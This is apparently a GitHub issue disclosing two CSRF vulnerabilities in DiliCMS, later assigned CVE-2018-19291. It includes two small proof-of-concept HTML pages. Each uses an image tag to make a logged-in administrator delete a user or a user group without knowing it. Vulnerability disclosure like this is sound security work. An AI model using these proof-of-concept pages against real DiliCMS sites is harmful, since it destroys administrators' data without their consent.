DiliCMS There is two CSRF vulnerability that can delete user or usergroup

There is two CSRF vulnerability that can delete user or usergroup

Open Rich4ever opened this issue 6 years ago • 1 comments

Software Link : https://github.com/chekun/DiliCMS After the administrator logged in,open the page test.html delete user POC:

<html>  
  <body>
    <img src="http://127.0.0.1/DiliCMS/admin/index.php/user/del/1" />
</body>
</html>

test2.html delete group POC:

  <body>
    <img src="http://127.0.0.1/DiliCMS/admin/index.php/role/del/2" />
</body>
</html>

Nov 11 '18 18:11 Rich4ever

Please use https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-19291 for this vulnerability.

Nov 16 '18 07:11 fgeek